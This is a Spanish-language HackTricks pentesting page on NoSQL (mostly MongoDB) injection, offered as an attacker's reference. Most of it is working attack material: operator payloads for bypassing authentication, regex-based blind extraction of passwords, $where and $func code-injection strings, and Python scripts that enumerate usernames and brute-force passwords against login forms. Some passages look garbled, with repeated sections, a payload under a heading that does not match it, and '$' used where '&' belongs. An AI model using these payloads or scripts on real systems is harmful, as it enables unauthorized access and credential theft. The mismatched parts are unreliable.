hacktricks/pentesting-web/nosql-injection.md

462 lines
21 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Inyección NoSQL
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Las bases de datos NoSQL proporcionan restricciones de consistencia más flexibles que las bases de datos SQL tradicionales. Al requerir menos restricciones relacionales y comprobaciones de consistencia, las bases de datos NoSQL a menudo ofrecen beneficios de rendimiento y escalabilidad. Sin embargo, estas bases de datos aún son potencialmente vulnerables a ataques de inyección, incluso si no están utilizando la sintaxis SQL tradicional.
## Explotación
En PHP, puedes enviar una matriz cambiando el parámetro enviado de _parameter=foo_ a _parameter\[arrName]=foo._
Los exploits se basan en agregar un **operador**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Bypass de autenticación básica
**Usando no igual ($ne) o mayor ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
MongoDB es una base de datos NoSQL que utiliza documentos JSON para almacenar datos. A diferencia de las bases de datos SQL, MongoDB no utiliza tablas y filas, sino que almacena los datos en documentos JSON.
La inyección NoSQL es similar a la inyección SQL, pero en lugar de manipular sentencias SQL, se manipulan objetos JSON. La inyección NoSQL puede ocurrir cuando se utiliza una entrada de usuario no validada para construir una consulta MongoDB.
Un ejemplo de inyección NoSQL es el siguiente:
```
username[$ne]=admin&password[$ne]=1234
```
En este ejemplo, se utiliza el operador `$ne` para buscar documentos donde el campo `username` no sea igual a `admin` y el campo `password` no sea igual a `1234`. Si el código que procesa esta entrada de usuario no valida adecuadamente los datos de entrada, un atacante podría manipular la consulta para obtener acceso no autorizado a la base de datos.
Para evitar la inyección NoSQL, es importante validar y sanitizar adecuadamente todas las entradas de usuario antes de utilizarlas en una consulta MongoDB.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00
```
### Extraer información de **longitud**
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extraer información de **datos**
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
MongoDB es una base de datos NoSQL muy popular. A diferencia de las bases de datos SQL, MongoDB no utiliza tablas para almacenar datos, sino que utiliza documentos JSON. Los documentos JSON se almacenan en colecciones, que son similares a las tablas en las bases de datos SQL.
#### **Inyección NoSQL**
La inyección NoSQL es similar a la inyección SQL, pero en lugar de aprovechar las vulnerabilidades de las consultas SQL, se aprovechan las vulnerabilidades de las consultas NoSQL. La inyección NoSQL se produce cuando se introduce código malicioso en una consulta NoSQL, lo que permite al atacante acceder a datos que no debería tener acceso.
#### **Ejemplo de Inyección NoSQL**
Supongamos que tenemos una aplicación web que utiliza MongoDB para almacenar información de usuarios. La aplicación permite a los usuarios iniciar sesión utilizando su nombre de usuario y contraseña. La consulta para comprobar si el usuario y la contraseña son correctos podría ser la siguiente:
```
db.users.find({username: 'admin', password: 'password123'})
```
Si un atacante introduce el siguiente nombre de usuario:
```
' || 1==1 && this.password.match(/.*/)//+%00
```
La consulta resultante sería la siguiente:
```
db.users.find({username: '' || 1==1 && this.password.match(/.*/)//+%00, password: 'password123'})
```
Esta consulta devuelve todos los documentos de la colección `users` donde el nombre de usuario es verdadero (ya que `|| 1==1` siempre es verdadero) y la contraseña coincide con cualquier valor (ya que `this.password.match(/.*/)` siempre es verdadero).
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### Ejecución arbitraria de funciones en PHP
Usando el operador **$func** de la librería [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por defecto), es posible ejecutar una función arbitraria como se muestra en [este informe](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
### Obtener información de diferentes colecciones
Es posible utilizar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo desde una **colección diferente** llamada **`users`** y obteniendo los **resultados de todas las entradas** con una contraseña que coincide con un comodín.
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```
# Inyección NoSQL a ciegas
La inyección NoSQL a ciegas es una técnica de inyección de código malicioso en una base de datos NoSQL que aprovecha la falta de validación de entrada en la consulta de la base de datos. Esta técnica se utiliza para extraer información confidencial de la base de datos, como credenciales de usuario, contraseñas, información de tarjetas de crédito, etc.
La inyección NoSQL a ciegas se produce cuando un atacante introduce una consulta maliciosa en un campo de entrada de una aplicación web que utiliza una base de datos NoSQL. La consulta maliciosa se ejecuta en la base de datos y devuelve información confidencial al atacante.
Para prevenir la inyección NoSQL a ciegas, se deben implementar medidas de seguridad adecuadas, como la validación de entrada y la sanitización de datos. Además, se deben utilizar consultas parametrizadas en lugar de concatenar cadenas de consulta.
En resumen, la inyección NoSQL a ciegas es una técnica peligrosa que puede permitir a un atacante acceder a información confidencial en una base de datos NoSQL. Es importante implementar medidas de seguridad adecuadas para prevenir este tipo de ataques.
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## Cargas útiles de MongoDB
### Basic NoSQL Injection
#### Payloads
##### Get all databases
##### Obtener todas las bases de datos
```json
username[$ne]=1&password[$ne]=1
```
##### Get all collections from a database
##### Obtener todas las colecciones de una base de datos
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.getCollectionNames()}
```
##### Get all documents from a collection
##### Obtener todos los documentos de una colección
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find().toArray()}
```
##### Get one document from a collection
##### Obtener un documento de una colección
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.findOne()}
```
##### Get a specific document from a collection
##### Obtener un documento específico de una colección
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"_id": ObjectId("document_id")}).toArray()}
```
##### Get a specific field from all documents in a collection
##### Obtener un campo específico de todos los documentos en una colección
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({}, {"specific_field": 1}).toArray()}
```
##### Get all documents where a specific field exists
##### Obtener todos los documentos donde existe un campo específico
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"specific_field": {"$exists": true}}).toArray()}
```
##### Get all documents where a specific field equals a value
##### Obtener todos los documentos donde un campo específico es igual a un valor
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"specific_field": "value"}).toArray()}
```
##### Get all documents where a specific field matches a regular expression
##### Obtener todos los documentos donde un campo específico coincide con una expresión regular
```json
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"specific_field": /regex/}).toArray()}
```
### Blind NoSQL Injection
#### Payloads
##### Get all databases
##### Obtener todas las bases de datos
```json
username[$regex]=.*&password[$regex]=.*
```
##### Get all collections from a database
##### Obtener todas las colecciones de una base de datos
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.getCollectionNames()}
```
##### Get all documents from a collection
##### Obtener todos los documentos de una colección
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find().toArray()}
```
##### Get one document from a collection
##### Obtener un documento de una colección
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.findOne()}
```
##### Get a specific document from a collection
##### Obtener un documento específico de una colección
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"_id": ObjectId("document_id")}).toArray()}
```
##### Get a specific field from all documents in a collection
##### Obtener un campo específico de todos los documentos en una colección
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({}, {"specific_field": 1}).toArray()}
```
##### Get all documents where a specific field exists
##### Obtener todos los documentos donde existe un campo específico
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"specific_field": {"$exists": true}}).toArray()}
```
##### Get all documents where a specific field equals a value
##### Obtener todos los documentos donde un campo específico es igual a un valor
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"specific_field": "value"}).toArray()}
```
##### Get all documents where a specific field matches a regular expression
##### Obtener todos los documentos donde un campo específico coincide con una expresión regular
```json
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"specific_field": /regex/}).toArray()}
```
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## Herramientas
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
### Fuerza bruta de nombres de usuario y contraseñas desde el inicio de sesión POST
Este es un script simple que se puede modificar, pero las herramientas anteriores también pueden realizar esta tarea.
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
```
## Referencias
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}